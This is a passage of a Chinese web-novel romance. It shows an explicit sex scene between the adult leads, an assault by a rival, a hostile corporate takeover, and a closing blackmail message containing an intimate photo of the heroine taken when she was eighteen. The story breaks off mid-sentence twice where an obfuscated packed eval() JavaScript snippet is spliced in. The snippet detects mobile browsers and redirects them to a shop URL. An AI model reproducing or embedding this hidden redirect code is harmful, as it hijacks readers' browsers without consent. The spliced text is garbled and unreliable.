他扯了她一下,把她搂进怀里,用手掌边缘替她把满脸泪水擦掉。可是根本擦不干,那眼泪汹涌成了一个水晶的湖泊。 到最后宜夏也放弃了抵抗,低下头埋在他胸口,哭出了声音。 谈雪昼无奈了:“别哭了啊。是你自己要问的。” 宜夏吸了下鼻子,额头抵着他的肩膀,没办法抬头看他,只能哽着声音问:“你为什么要这样……你知不知道这样,特别过分……” 谈雪昼顺着她的话:“对不起,是我太过分了。别哭了,你再哭,别人要以为我欺负你了。” “你就是,欺负我了……”宜夏用手臂擦眼泪,抬起脸,声音哽咽,“我也欺负你了。我都忘记你了,你为什么……不记仇。” “对你我记什么仇。”谈雪昼说,“我自愿的,行不行?”他用拇指揉了揉她的下眼睑,那里一团绯红,委屈得要命。 宜夏怔怔看着他,泪水还是在掉,片刻后,她哽着声音说:“我该让外婆买个手机的。” 谈雪昼一愣。 宜夏擦着眼泪:“我该给你留给电话号码的。我不是故意忘记你的,我只是……对不起,我不是故意——” “好了。”谈雪昼声音带点笑,漫不经心说,“不哭了。都过去了,兜兜转转,不还是我们两个吗?” 那种强烈的愧疚和震动依然让宜夏格外恍惚空白,她哽咽着说:“那么多次。我怎么会没有认出来,一直都没有看见你……” 她甚至没办法想象,他轻描淡写说出来的,是那么多年的孤独守望和等待。 多年以后单方面的久别重逢,他在学校里第一眼见到她的时候,她把他忘了,他会是什么样的心情。 藏在玩偶里匿名地送她一束花,又是怎样温柔又心碎的守候。 他不断靠近。 而她对此一无所知,总是错过,从没珍重。 实在是好多错过。 好多好多遗憾。 为什么,会这样阴差阳错。 宜夏从凌乱的长发间抬头看他,眼前一片朦胧,对上他浓黑的眼睛,第一次在那双眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14262264|141728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睛里看到了一些沉默的、不知所措的情绪。 甚至不知道是不是她眼花,他的眼眶也有点红。 宜夏的眼泪更汹涌了,她突然有种不顾一切的冲动。 强烈的情绪灼烧着她的理智,她猛然低头,手臂紧紧缠住他的脖颈,一只手掌住他的侧脸,重重咬住了他的唇瓣。 谈雪昼怔了一瞬,抬起手按在她后颈上,把她箍进怀里,紧紧按在胸膛上,似乎要把人嵌进身体里那样的力度。 这是一个带有泪水味道的吻。 咸涩的眼泪被卷进口腔,两个人都有些心绪不稳。 她的唇舌柔软而滚烫,搅弄得他心火燎原地燃起。 他有些失控,将舌探入她的口腔扫荡,每一寸都被引燃。她没有撤退,反而急切地回应他,抱着他的后脑,手指穿插进入他的发丝之间,唇齿之间溢出含糊的呜咽。 肺部缺氧,火辣辣地疼着,宜夏依然不想松开。 很想,很想死在这一刻,知道有人那样沉默安静漫长又忠贞地爱我的这一刻。 谈雪昼稍稍撤开一点,抵着她的额头,亮如星辰的眼眸看进她潋滟带水光的眼睛里,呼吸交缠,片刻后,突然把她环抱住,站起来,把人放在了车引擎上,接着又俯身亲了上去。 空气中浮动着压抑的低喘呼吸,愈发煽情的水声在寂静的山顶低低起伏。所有的声响都是寂静的,只有心跳声,逐渐开始共振交融。 这个漫长的亲吻不知道持续了多久,分开的时候,两个人都呼吸格外不稳。 他在此撤开的时候,宜夏贴上来,主动抱住他的腰,从他怀里仰起脸来,声音含糊,是鼓起勇气的主动撩拨:“谈雪昼。你有反应了。” 谈雪昼好笑地撇开脸:“这不正常么。” 亲那么久。 宜夏说:“我帮你。我可以。相信我。” 谈雪昼一怔。 宜夏鼓起勇气,盯着他:“我不是因为……感动。我是,真的,很想要和你在一起。” 他的手掌按在她的后颈处,宜夏浑身立刻瘫软了,呼吸不畅,水光潋滟的眸子盈盈看着他:“谈雪昼……我想和你……” 谈雪昼强行压抑住冲动,单手抱着她,把人塞进副驾驶。 他从另一侧上主驾,扣安全带的功夫,她从自己的位置爬到了他腿上,紧紧抱住他的脖颈,低下头。 他仰着脖颈,接受她主动的吻,狭窄的车厢响起煽情的水声。 宜夏胸口饱胀着不知名的情绪,只有在亲他的时候,才能从轻飘飘晕眩的云端落地,找到存在的实感和锚点。 十指不知道什么时候已经紧紧扣上,宜夏的上身紧紧贴着他的胸膛,鼻尖相抵,呼吸含混,宜夏含着他的唇瓣吮吸,稍稍撤开一点,又是勇敢的勾引,低眼看他:“谈雪昼,你好烫。” 却看见他眼睛里沉沉的欲念在疯狂翻滚。 宜夏顿时有些瑟缩。 谈雪昼滚烫的手掌贴着她的后颈,从喉咙深处哼出很闷的声音,跟眼睛里呈现的情绪不一样,声音有点自暴自弃放弃反抗:“你就折磨我吧。” 宜夏微微歪了下头,错开鼻尖,唇瓣贴在一起,她含糊地说:“我没有,我……只是想帮你。” 她的手顺着衬衫衣尾钻进去。 他闷哼一声,一把扯开她:“给我坐回去。” 宜夏不依不饶。 谈雪昼被她煽风点火,折腾得格外难受,深呼吸,下定决心把她扯开,推回副驾驶。宜夏还要爬过来的时候,他突然伸手,掐着她的脖颈低眼警告:“再玩我,我就不忍了。” 那眼睛里浓黑的情欲依然在翻涌不停,只不过,他忍住了,克制住了。 宜夏胸口那种强烈的情绪和欲望始终鼓胀着,因为没有得到抒发,而愈发膨胀。但说实话还是有点害怕,对未知的恐惧。 还有一个是不愿意真的第一次在车里。 她压抑着呼吸,老实坐回了原位,扣好安全带。 谈雪昼平复了一会儿,直接一脚油门,冲下赛道。 宜夏小口小口地呼吸,胸口的燥热依然难以散去,她开了下窗,吹着夜晚山间的冷风。 好一会儿,终于,她哑着声音再次开口:“我感觉我应该已经脱敏了。我们回去试试吧。” 过了片刻,又很含混地说:“谈雪昼,我好像,刚亲得有点儿……” 湿了。 87. i想把你比作春日 车刚停入嘉华汇地下,都没停正位置,谈雪昼已经从主驾下车,砰一声甩上车门,绕过来拉开副驾的门。 宜夏心急去解安全带,解了半天手脚却没力气,他直接探身进来,手掌覆在她手上,按开了那个小锁扣。 他的手好烫。 她也是。 浑身都在发烫。 安全带弹开,下一瞬,宜夏朝他身上扑去,而他一把搂住她,紧实有力的手臂环住她的腰,把她紧紧抱住,转身大步往电梯去。 宜夏低下头趁机亲他的下巴和脖颈,他闷闷地哼了一声,声音很哑:“宜夏,你知道这还是在外面吗?” 宜夏继续亲他,声音含糊断续说:“那你快点儿啊。” 上了电梯。 他抱着她没松手,宜夏也就亲着他没停。 电梯轿厢里两个人差点烧起来。 真正进门时,都出了一身汗。 宜夏是急的,谈雪昼却是忍的。 当家门在背后猛一声关上,谈雪昼瞬间反客为主,把宜夏压在门板上,掰着她的下巴凶猛地亲了上去,不是亲,是咬,是疯狂的扫荡侵略掠夺占有。 宜夏刚刚的撩拨全是小打小闹,煽风点火点燃的那些欲念侵蚀了她自己,被这个吻亲得几乎窒息,浑身瘫软,只能勾着他的脖子,勉强地站稳。 谈雪昼边亲,边把人往沙发上带。 两个人滚到了沙发上,宜夏仰躺着,头发凌乱地铺开,仰起头回应他。他单手撑在她脸颊旁边,呼吸急促,看着她迷离的眼睛:“会难受吗?” 宜夏长长地哼出一声:“快一点。” 谈雪昼压在她耳边,不停吻她的耳垂,声音沙哑:“你还挺,急色的。” 宜夏拽住他后脑的头发:“……我想要你。” 谈雪昼一怔。 宜夏睁开眼,那股燥热始终萦绕在胸口,她确信自己需要更深刻、更强烈的体验,来让欲望爆发出来。 她仰起脸轻咬了一下他的喉结:“我可以了,这次我可以的,相信我。” 她的外套早就丢到不知道哪里去了,里面穿的一件比较得体的白衬衫,扣子也早就崩开。相对的,谈雪昼身上的衬衫也是衣领凌乱皱巴,没比她好到哪里去。 她已经忍不了,直接拽他的衣服,Bespoke的衬衫纽扣顿时全部崩开,敞着露出他的身体。随后宜夏就亲了上去。 他的耐性已经被她无数次主动消磨殆尽,深吸一口气,扯开了她的外衣。然而里面却不得其法,手指动作片刻没有解开,谈雪昼被自己气笑了:“你这穿的什么啊?” 宜夏抱住他的脖颈:“你是不是一点儿经验都没啊?” “……怎么,看不起我?” “不是,”宜夏心焦,懒得辩解,自己反手去解那一排扣子。 他就不停地亲着她的脸颊和颈侧,被他的动作干扰,又痒,加上手脚也软,宜夏自己也解了好一会儿才解开。 她第一次在他面前完全袒露自己的身体,僵硬了一瞬间,又在他疾风骤雨般的亲吻下放软了身子。 他的唇舌落到哪里都滚烫,都撩起一把燎原的烈火。 宜夏被亲得难受煎熬,脑子随着他的动作变得昏沉起来,仿佛浮在海上漂流。 他的手碰到她腰侧皮肤的时候,她突然瑟缩了一下。 他呼吸很急,没能第一时间收回动作,而是五指抻开,按在她的大腿外侧,很艰难地缓了一下,低眉看她:“我……洗个澡。” 宜夏立刻抱住他的手:“不!” “我……”他吐出来的字都是滚烫灼热的,强行压抑着欲念,“你还是……” “我可以,”宜夏压抑着胸口起伏的情潮,手指压住他的耳根,掰着他的脸,含糊说,“我可以的……刚刚,没过敏。”只是太敏感了,有点不适应而已。 “你别停。” 谈雪昼的喉结很明显地滚了一下。 刚刚他察觉到她那一瞬间的僵硬,好像还是不能接受。他没有说停就停的本事,撑在她身体上方沉沉地凝视她,平复呼吸。 她又攀过来,压在他耳边,低声说:“我想要你……粗暴一点。” …… 他手指碰到她。 她虽然发着抖,但没有浑身僵硬,而是尽力迎合着他的动作,甚至努力朝他身上贴过来。谈雪昼喉结不停滚着,呼吸也抓不稳节奏了,只知道凭本能动作,撩拨,点火,而她已经沉在海里,溺进了水中,忘却了一切。 他抱着她转移到了主卧,把人放在床上。 她的头发四散,浑身汗淋淋,不知道是他的亲吻,或是体温太烫。不断的亲吻让两个人都大脑混沌朦胧,宜夏头晕目眩,只知道任由人摆布。 而他还保留着一点理智,平复了一下呼吸,反手拉开床头柜。 他懒得从她身上挪开找柜子里的东西,只是凭感觉,摸索着那里面的东西。柜子里塞的东西被他乱七八糟地摸出来丢开,什么袖扣,手表,钢笔,小便签本,最后终于摸到了放在里面的小盒子。 那还是之前过年前买的。 宜夏伸手挡着房间里明晃晃的灯光,耳边听见一声撕破塑料袋的声响。 她转过眼,呼吸急促,嘴里含糊地催促起来:“你快点,快点,你这都不会吗?” 谈雪昼没注意尺寸,买的好像不太对,努力了一下没能戴上去。他也太着急了,耳边又是她的催促声,他突然倾身过去,扼住她的脖颈,气息不稳地威胁:“那你来。” “我来就我来。” 弄了好久终于弄好了,宜夏一身的汗都要被暖风吹干了,然而一抬眼,却见谈雪昼额发汗湿,紧紧地贴在脸颊上,一头一脸的汗水。她一怔,压低了声音凑在他耳边小声问他:“你真的,一点经验都没有啊,谈雪昼?” “……” 他估计她是真的想死。 …… 宜夏两分钟前还能开口挑衅调戏人,两分钟后,已经忘记了自己是谁。 她仰着头,绷紧身体,只能看见明晃晃的灯带在眼前旋转漂移。他覆在她身上,头发搔着她的脖颈,只是,那一点轻微的瘙痒,与席卷过身体的剧烈洪流相比,不值一提。 他满脸绯红,也是汗水淋漓。 她之前耍流氓的时候,用手丈量过他,但是真刀实枪的时候,才知道那是什么样的感觉,弧度,温度,那是完全不同的体验。 她不停向上顶,手掌又被他一只手扣住,压在头顶,不让她动。强行固定住,承受这场铺天盖地的浪潮。 宜夏发誓再也不要,再也不要调戏他了。 到最后,她已经接近晕眩,昏昏沉沉地,趴在他耳边,哀哀地请求:“可以了吧,谈雪昼,不然就,下次吧……” 他闷不吭声一言不发,手指依旧扣在她的五指上,动作没有停。 宜夏咬住他的肩膀。 没有力气,就连个牙印都没有咬出来,他感觉到她那点儿小猫似的力度,蓦地,哼笑了一声:“没经验怎样?” “……” 最后一次结束的时候,宜夏已经完全失去了说话的力气。 其实中途她还被他喂了两次水,否则此刻已经脱水。 她缩成一团,把被子团在身前,谈雪昼半直起身子,撑着脑袋看了她片刻,坐起来,把她整个人连被子抱住,转身往浴室走去。 主卧的浴室非常大,可以泡澡。 谈雪昼想了下,把人放进浴缸里,随后开始放水。她抓着浴缸边缘昏昏欲睡,他刚刚被她折磨那么久,想报复回来,用一根手指撬开她的唇瓣,伸进她的口腔里搅了片刻,恶劣地说:“不准睡啊,要洗澡。” 她含着他的食指,含混说:“你帮我洗。” “不行啊,你又不是小宝宝,自己的事自己做。” “谈雪昼……” “嗯哼?” 她眼皮已经合上了,声音软绵绵的,还有点儿干哑,有气无力地拖长:“你好过分。” 谈雪昼饶有兴致跟她讲道理:“谁过分?是谁先的?” “那我,”她还保留了一点儿逻辑思维能力,慢吞吞说,“后面叫你停,你又不停,是你过分。” 热水放得很快,谈雪昼也进了浴缸,很耐心地帮她擦身体。她脑袋一点一点,如果不是他眼疾手快,估计要栽进水里去了。他只得把人彻底固定在自己身前,然后温柔地收拾。 随后他就发现,他好像有点高估自己的控制力。 宜夏也是,已经是半昏睡状态中,又感觉到强烈灼热的存在感。她努力掀起眼皮,看着他:“……你怎么,还可以啊!” 他眼底全是晦暗的浪潮。 眼前的女人,长发飘浮在水面上,只要稍一抬眼,就能勾动他的情绪。 他平复了呼吸,片刻后继续帮她擦干。 宜夏发现好像没什么危险,于是顺从地倒回他怀里,竟然就那么睡了过去。 从浴缸里把人抱出来的时候,她整个人还是睡着的。 谈雪昼用一条大毯子将人裹住,抱回卧室,塞进被子里。 随后又进到浴室,冲了个澡出来。 空调温度调成稳定的26度,湿度也恒定舒适。他把被子里的人折腾出来,慢腾腾拿着静音吹风帮她吹干了发根,才又塞回被子里。 自己也钻进去,把人抱住。 片刻后。 他又爬起来,去冲澡。 如此反复,到天亮之后终于睡着了。 宜夏从在浴缸洗澡起就睡着了,睡得很熟,接近断片,中间发生的所有这些事都一概不知。 - 宜夏第二天醒来的时候,外面天是黑的。 她懵了下,努力伸长手臂去够床头柜的手机。手臂酸软,抬都抬不起来,另一只手从身旁伸出,替她把手机拿到了眼前。宜夏回头,对上谈雪昼低眼看过来的戏谑眼神。 “七点了。”他善解人意地说。 宜夏:“……早上,还是晚上啊?” “你说呢?” 宜夏摁开手机看了眼。 居然。 不对,是,果然,已经是晚上七点了。 昨晚到底折腾到了几点? 她拥着被子坐起来,谈雪昼连带着一起坐起来,起身下床,把整齐码在小沙发上的干净衣服都递给她。 宜夏浑身酸软,尤其是腿,和胸,特别酸胀。不过勉强能够忍受吧,起码穿衣服不用人伺候。她默不作声地一件件把衣服穿上,谈雪昼也站在床尾,低头套衣服。他穿得比她快,然而套衬衫时,他顿住了。 宜夏自顾自穿好衣服,一抬头,见他还敞着衬衫扣子没扣,有点不解:“你发什么呆呢?” 他指了指喉结、锁骨、胸口几个明显的吻痕:“我是想让你看看,你的罪证。” 宜夏:“……” 她很镇定地说:“为什么是罪证,我又没打算,对你始乱终弃。” 谈雪昼叹了口气,低头扣衬衫的纽扣:“那就是打算负责到底的意思了。” “当然。”宜夏撑着床沿站起来,打算去卫生间洗漱。然而刚走两步,腿一软,扑到了他怀里。 他抱住她的腰,还挺正人君子地说:“一起来就投怀送抱的,宜老师,这不大好吧。” 宜夏干脆顺着他的话,也懒得自己动了,就黏在他身上了,指挥他:“抱我去刷牙。” 谈雪昼:“……” 他扯了下唇角,抱起她进了卫生间。 她又撑着洗手间的台盆,继续发号施令:“挤牙膏。谈雪昼。” “你怎么不让我帮你刷呢?” “可以吗?” “可以。张嘴。”谈雪昼挤好了牙膏,倾身过来,用虎口卡住她的下巴,是真打算帮她刷牙的意思。 不过宜夏没娇气到那个份上,迟疑了下,还是说:“我自己来吧。” 刷着牙的时候,她抬起眼皮,看了下镜子里的自己。 随后就发现。 谈雪昼这个人,恶人先告状,倒打一耙。 她的脖子都被他亲得不能看了,他居然好意思拿着身上两三个吻痕卖惨。 宜夏沉默着刷完了牙,把杯子放好,平心静气看向谈雪昼:“你有没有看见我脖子上的东西?” 谈雪昼瞥她一眼,很坦荡:“我亲的啊。” 宜夏:“……那你身上就那两三个,你还跟我说我的罪证。” “那你的意思是,你亲少了?你亏了?” 宜夏感觉自己的意思被歪曲了。 她移开眼神,摸了摸脖子上鲜红的吻痕,有点发愁怎么出门。这大夏天的,戴围巾穿高领毛衣,都有点欲盖弥彰的奇怪。 谈雪昼继续坦荡地发言:“你要是觉得亏了,你就亲回来,我绝对不反抗。” 宜夏朝他斜一眼。 他就是故意在逗她。 但她今天,还偏就,打算遂一下他的意。 于是她说:“那行啊。那你把衣服脱了。” 谈雪昼一挑眉。 宜夏抱着手臂催促他:“脱啊。怎么,谈老师你该不会只是嘴上说说吧。” 谈雪昼笑了下,低下头,慢条斯理地一颗一颗去解衬衫扣子。宜夏呼吸逐渐急促起来,她努力平复,若无其事地看着他的动作,身体却莫名随着他的动作发起烫来,手脚也跟着软了。 ——他绝对就是在勾引她。 他解开所有纽扣,敞开手:“来吧,不要怜惜我。” 宜夏凑过去,含住他的喉结。 他闷闷地哼了一声,抬手揉了揉她后脑的长发,随后,手掌搁在了她后颈处,不轻不重、富含意味地揉捏起来。 …… 出卫生间的时候,两个人身上衣服都挺乱的。 餐厅已经摆好了物业管家送来的晚餐,吃了一点儿之后,宜夏突然想起了自己的工作。 宜夏就感觉,自己好像是个,挺荒淫无道的人。 明明还有工作来着,学校的宣传片还没剪好。 昨天去采访谈雪昼导演的记忆,已经恍如隔日,她竟然连工作都忘了。 吃完饭点开手机,才看见学校的工作人员跟她联系,催促她赶紧把宣传片剪出来审核。 宜夏很坚强,拖着酸软的身体进了书房,打算开始剪视频。 谈雪昼跟了进来。 刚开始的时候,她还好端端坐在椅子上。十分钟后,已经被他抱到了腿上,他越过她的肩膀瞄了眼屏幕,漫不经心:“做点正事,这些乱七八糟的事明天再做。” “……我就是在做正事!” “那不是。”谈雪昼捏着她的后颈,灼热的鼻息洒在她的脖颈上,“这才是。” 宜夏:“……” 宜夏感觉自己也有做昏君的天赋。 春宵苦短日高起,君王从此不早朝。 - 幸好宜夏接下来的几天里还是勉强把持住了自己,没天天跟谈雪昼春宵苦短。 第一次之后。 宜夏发觉这种事情,其实还,怎么说呢,就是怪不得那么多人沉迷其中。如果不是意志力强,那温柔乡确实是英雄冢。 她意志坚强地工作,然而在剪视频的空隙中,都会突然一下走神,想起谈雪昼的脸孔。 他冷白的皮肤,汗湿的头发,高挺的鼻梁,柔软滚烫的唇舌,身上浅浅的汗水气息。还有喉结克制不住地滚动时,那个突起起伏的弧度。他的腰腹肌肉线条,以及再往下一点…… 不行了。 宜夏烧起来了。 她捂住脸,用脑袋疯狂磕电脑键盘。 突然想起来网上的说法,说鼻梁高的人那方面会比较强。 是混血的缘故吗,他的鼻梁高得离谱,整容都整不出的高度。 不行不行。 不能再想了。 宜夏揉了下耳朵,坐直,继续看屏幕上渲染出来的视频。 - 幸好男狐狸精有工作要忙,不能每天都待在家里打扰她工作。 《牺牲者》后期已经快做完,《天幕之下》搭景快结束,剧组将要进场拍摄了。 先要在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14267954|141728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清塘岛和江流的摄影棚里拍部分剧情,接下来要转场去非洲某小国,拍大场面戏份。《天幕之下》的组讯最近特别火,网上各种小道消息乱飞,不过保密做得好,就连宜夏也只知道男主定了路昭野。 宜夏这边呢,校庆的宣传片剪好,提交通过了学校的审核。 宗老师问宜夏要不要去参加校庆,在校友论坛做个简单的发言讲座,很短,二十分钟就行。 校庆的校友论坛主要是邀请各个领域比较有成就的校友分享自己的工作,如果宜夏没有《清塘山岛日记》获奖,估计还轮不上发言。 宜夏没有第一时间拒绝。 她突然发觉,她好像没有那么恐惧江流中学,没有那么厌恶自己的高中时光了。 因为知道在这所学校里,有一个人沉默温柔耐心地等待着她,守候着她,她甚至给那一段时光,也蒙上了一层玫瑰色的滤镜。 第一次想真正回去看一看,承载了那段记忆的校园是什么样子。 也想看一看,国际部,小卖部,操场,网球场,体育馆,送给她花的那条主干道,以及从国际部走到本部教学楼下的那条漫长的通道。 他守望过的地方。 校庆日当天,校友论坛发言被安排在晚上。 宜夏去得早,独自一个人,把校园认真逛了一遍。 到晚上,她前往图书馆报告厅。 校友论坛宜夏被安排在倒数第二个发言,她简单分享了《清塘山岛日记》的创作过程,回答了一些学弟学妹们感兴趣的问题就下台了。 影视行业天生受关注大,下台后不少学弟学妹们来加她微信,她一一通过,埋着头摁手机。 中场休息五分钟,紧接着要轮到最后一个嘉宾上台做讲座。 宜夏抬头,看见大屏幕上放映的PPT。 《传媒投资行业实践》 下一行。 “主讲人:于璟于氏传媒执行总裁” 明明坐在人声鼎沸的会场里,宜夏却产生了强烈的空旷不适感。 她轻轻揉了揉发麻的小腿,弓着身从过道出去,打算从报告厅后门退场。 后门通向学校的小树林,有一条小径通向学校的操场。两侧种满高大的香樟树,树影浓黑,影影绰绰,平常是学校小情侣们偷偷幽会的去处。 小径迎面走来一个西装革履的男人。 宜夏在走神,没注意对方,正要与人擦肩而过,却突然被来人一把攥住了手臂。 宜夏抬头,看清人脸那一刻,生理性的恶心再次上涌。 强烈的厌恶感涌上喉头,她用力挣扎起来。 那人正是于璟。 于璟死死钳着她的手臂,直接把她往树林里拖,宜夏刚要开口喊人,他却直接捂住了她的嘴巴。 宜夏一口咬在他的手掌上,几个深深的牙印,他顿时怒火沸腾,把她按在树干上掐住她的脖子:“你为什么每次见到我态度都这么差?我到底是哪里对不起你?” 宜夏简直不可思议。 从于璟回国起,她就觉得他好像不太正常了,是不是在英国吸了不该吸的东西脑子坏掉了,听不懂人话一样。 她瞪着他:“放手,不然我报警了。” “我除了那件事之外,到底哪里对不起你了?你要这么对我,还要对思程也下死手,她抑郁症了你知不知道?” 宜夏更加不可思议了:“所以呢?” 于思程这样的人也会抑郁,太好笑了吧。 恶人恶报,宜夏不仅不怜悯,反而痛快。 于璟深呼吸两下,暴戾的情绪依然压不住地往上扑:“谈雪昼又是什么意思,在股市恶意收购于氏是什么意思?下死手是什么意思?” 这件事宜夏不知道。 但她也不觉得有什么对不起于璟的。 她昂着头,眼中火焰熊熊:“这是你们应得的!” 于璟被她的态度激得更加暴怒,抬手扯她,宜夏挣扎的时候衣领被扯开,于璟瞳孔一缩,目光锁在她的锁骨上——那里,是两个鲜明的红色痕迹。 他又惊又怒:“你和谈雪昼上床了?你们做了?你不是——草,你他妈,你这个贱人!” 宜夏已经挣出了他的束缚,反身一肘子撞在他的腰腹上。他捂住肚子,反应过来要立刻再次揪住她,这时候不远处传来一声大喝:“怎么回事!” 学校的保卫科几个保安正打着手电朝这边看过来。 于璟有头有脸,在乎面子,立刻停手,退开两步,示意只是争执。 宜夏擦了下脸颊蹭出来的痕迹,低眼看见手指沾上濡湿的红色血迹。 她平复了一下呼吸,举起手机,冷冷说:“我报警了。” 于璟不可思议地回头看她,下意识上来抢她的手机,却立刻被冲上来的保安揪住,而宜夏已经在此刻接通了报警电话。 于璟试图挣脱保安的束缚,跟他们强调自己是受邀请来讲座的嘉宾,身份贵重,警告保安不能耽误学校的讲座。 保安们确实注意到了,他西装革履打扮得很像成功人士,然而,刚刚纠缠一个女孩子也是他们亲眼所见的,于是一直压着他没有放开。 领头的保安迟疑地问宜夏,究竟是怎么回事,跟他是否认识。 宜夏说:“我已经报警了,我会跟警察讲的。” 于璟张了张口,想说什么,保安立刻压住他:“老实点!人家姑娘都报警了!” 最近的派出所离江流中学只有几百米的距离,民警七八分钟就赶到了现场出警。 而于璟也在同时接到了秘书的电话,问他是被什么事故耽误了。他没能开口,民警就夺过他的手机:“老实点!” 宜夏跟着警察一起到了派出所。 于璟从进入派出所起,就保持了沉默,只有一句话:“我要见我的律师。” 宜夏平静了一下情绪,才注意到刚刚争执时,脸颊似乎被划了一道伤口,脖颈也被扼青了。一个女警察也发现了这点,立刻带她去最近的医院验伤,再回来做笔录。 过程中宜夏接到了谈雪昼的电话,她迟疑了下,低声说了自己在派出所里。 于璟那边,由于一直不肯说话,一直在等律师过来,警察没能做上他的笔录。 几个警察去查了学校的监控,发现小树林那一块也没有监控视频,于是不能对他有进一步的控制。 他的律师到得很快。 然后就代表他全权跟警察交流,他一直保持沉默。 宜夏坐在另一侧,平复下来之后,安静地低头看手机。 想了下,慢吞吞地安慰那头的人。 ——谈雪昼从她说她遇见于璟出了点事起就一直没吭声。 宜夏说: 【没什么大事,快结束了。】 她脸上和脖子上的伤连轻微伤的标准都够不上,只能算挫伤,加上几个证人没有看见他们争执的具体经过,又没有监控,所以证据不足,没有办法立案。 一个女民警过来安慰她,同时也跟她解释了一下缘由。 正说着,一阵雨打树叶似的冷风拂过,谈雪昼从外面进来了。 他在宜夏旁边蹲下,握住她的手:“我带了律师过来。” 宜夏抬起头。 他身后是两个四十多岁的律师,表情严肃,一丝不苟,冲她点头。 民警也第一次看这种阵仗。 肢体上的小冲突争执,立案标准都够不上,怎么一方一个另一方两个律师,这是干什么,打算把小纠纷辩成刑事案件吗? …… 由于不能立案,双方律师也没有用武之地。 最终民警口头对于璟进行了教育,就把人放了。 宜夏已经被谈雪昼带出了派出所,正要上车时,于璟从里面出来,隔着一段距离,阴沉地说:“宜夏,我会让你后悔的。” 宜夏头也没回坐进了车里。 反而是谈雪昼单手压着车顶,扭头看了他一眼。 眉压眼压住了许多戾气,片刻后,他冷冷说:“你可以试一下,看看明天开盘后到底后悔的是谁。” 88. 想把你比作春日 回到家,已经是凌晨了。 谈雪昼用温毛巾给宜夏擦了擦脸,随后找出药膏涂了一层。 她脸上伤口不严重,短短几个小时已经结痂。 宜夏睫毛扑簌,眨起来像小飞蝶,轻轻拉下他的手:“我没事,别紧张。” 他一只手掌住她的脸颊,仔细端详着,声音很沉:“他居然还敢来骚扰你。” 宜夏抬起眼:“你在股市……是在收购他们家公司吗?什么时候开始的?” 谈雪昼:“于思程那件事之后。于氏本来就内部腐败管理混乱,我只不过是添一把火。” 宜夏“噢”了声,犹豫片刻:“会遇见危险吗?” “不会。”谈雪昼毫不犹豫,“于氏规模太小,这几年盈利能力也差,本身就快退市了。等打压到一定程度,我就可以得到控制权,重组资产之后把这个壳转手出去。很快。你讨厌的人很快就没办法出现在你面前了。” “……” 宜夏时时刻刻觉得,他这人还挺奇妙的。 所谓的金刚怒目,菩萨低眉。 大多数时候他都冷淡倦怠,不表现出任何的攻击性,对大部分人也很宽容,性格好,就好像懒洋洋晒太阳的大猫。 然而他真的要出手的时候,也会毫不犹豫,居高临下冷酷锐利,一击必杀。大猫一翻身亮出爪子,那是食物链顶端最高掠食者的利刃。 - 谈雪昼的《天幕之下》正式在清塘岛开机。 宜夏去探班了两次。 没过多久,她的《想把你比作春日》也筹备完毕,准备开机。 每天拍完当天的戏份,宜夏回酒店的时候,还会额外关心一下股市的情况。 于氏传媒的股价从三个月前就开始一路狂跌,至今已经跌掉了50%。大股东宣布了回购计划依然没能提振市场信心,投资者们用脚投票,纷纷夺路而逃。 不久前,谈雪昼委托的机构黎曼资本已经举牌,宣布在二级市场获得了于氏传媒10%的股份,成为了于氏第三大股东。 于氏那边自然不可能坐以待毙,使出各种手段,试图阻止黎曼的收购。 最近市场上各种风言风语,于氏旗下的艺人也是人心惶惶。 双方就这么僵持了两个月。 暗流涌动,山雨欲来。 《想把你比作春日》拍摄时间两个月。 杀青的同时,《天幕之下》剧组也结束了在清塘岛的拍摄,准备转到江流的棚内。于是,全剧组放了个三天的短假期。 谈雪昼从片场回家,这是这两个月里,宜夏第一次有大块的时间跟他相处。 所谓小别胜新婚,晚上两个人折腾到挺晚。 第二天早晨,谈雪昼约了黎曼资本的负责人开会,交代收购于氏的进一步安排。 他没跟宜夏提,但宜夏自己早晨起来一刷雪球,就看见了网上的消息: 昨天下午收盘前,黎曼资本突然宣布,目前已经获得了于氏传媒19.31%的股份,正式成为于氏的第一大股东。 同时,黎曼已经提请召开股东大会,罢免于氏传媒现在的董事会和监事会,正式入局争夺于氏传媒的控制权。 消息一出,今早开盘时,于氏的股价大跌,直接一字跌停。 投资者们纷纷看明白,黎曼资本是要对于氏进行恶意收购,接下来的一段时间,估计会更加风起云涌。 不过这都是大资本的事情,动辄几亿几十亿的,跟普通人无关。 宜夏跳回微信,跟剧组后期的同事聊了一阵剪辑的事。 突然,一条短信跳进手机里。 依然是个陌生号码。 宜夏点进去一看,瞳孔骤然紧缩。 ——是张照片。 十八岁时的她,满脸晕红、半身赤||裸躺在沙发上。 那个姿势很怪异。长发铺展在背后,她一只手紧紧扣住沙发靠背,另一只手则向身下伸,似乎在挡什么东西。表情很痛苦,紧蹙眉头,双眼大睁,瞳孔紧缩,充满惊愕和恐惧,唇角在渗血。 只拍到了她的上半身,棉质的校服T恤被人凌乱捋到胸口,小腹裸露在外,皮肤泛着一层病态的粉色。在校服T恤的遮挡下,隐约可以看见少女棉质的内衣边缘,以及底下白皙的皮肤,和胸部略微凸起的弧度。 宜夏脑袋嗡的一声一片空白,手脚冰凉,呼吸一瞬间变得格外困难,几乎窒息。 她盯着短信的聊天框,手指几乎在颤抖。 对方停了十分钟,悠然发来两句话: 